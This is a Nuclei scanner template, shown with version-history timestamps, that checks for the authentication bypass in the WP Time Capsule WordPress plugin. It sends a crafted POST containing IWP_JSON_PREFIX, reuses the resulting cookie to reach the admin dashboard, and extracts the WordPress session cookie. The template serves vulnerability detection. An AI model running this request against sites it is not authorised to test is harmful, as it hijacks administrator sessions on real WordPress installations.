2021-03-10 06:59:08 +00:00
|
|
|
id: wordpress-auth-bypass-wptimecapsule
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: WordPress WP Time Capsule Authentication Bypass
|
|
|
|
author: princechaddha
|
|
|
|
severity: critical
|
|
|
|
reference: https://github.com/SECFORCE/WPTimeCapsulePOC
|
|
|
|
tags: wordpress,auth-bypass,wp-plugin
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST / HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: close
|
|
|
|
Accept: */*
|
|
|
|
|
|
|
|
IWP_JSON_PREFIX
|
2021-03-12 12:02:16 +00:00
|
|
|
|
2021-03-10 06:59:08 +00:00
|
|
|
- |
|
|
|
|
GET /wp-admin/index.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: close
|
|
|
|
Accept: */*
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- '<div id="adminmenumain" role="navigation" aria-label="Main menu">'
|
|
|
|
- "<h1>Dashboard</h1>"
|
|
|
|
part: body
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- 'text/html'
|
|
|
|
part: header
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
2021-03-10 11:36:11 +00:00
|
|
|
part: header
|
|
|
|
regex:
|
|
|
|
- "wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"
|